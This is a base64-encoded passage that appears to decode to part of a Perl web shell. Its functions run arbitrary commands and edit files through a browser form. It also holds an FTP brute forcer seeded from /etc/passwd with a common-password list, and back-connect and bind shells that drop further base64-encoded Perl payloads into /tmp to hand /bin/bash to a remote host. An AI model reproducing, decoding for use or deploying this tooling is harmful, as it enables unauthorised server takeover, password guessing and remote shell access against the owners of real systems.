M9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7C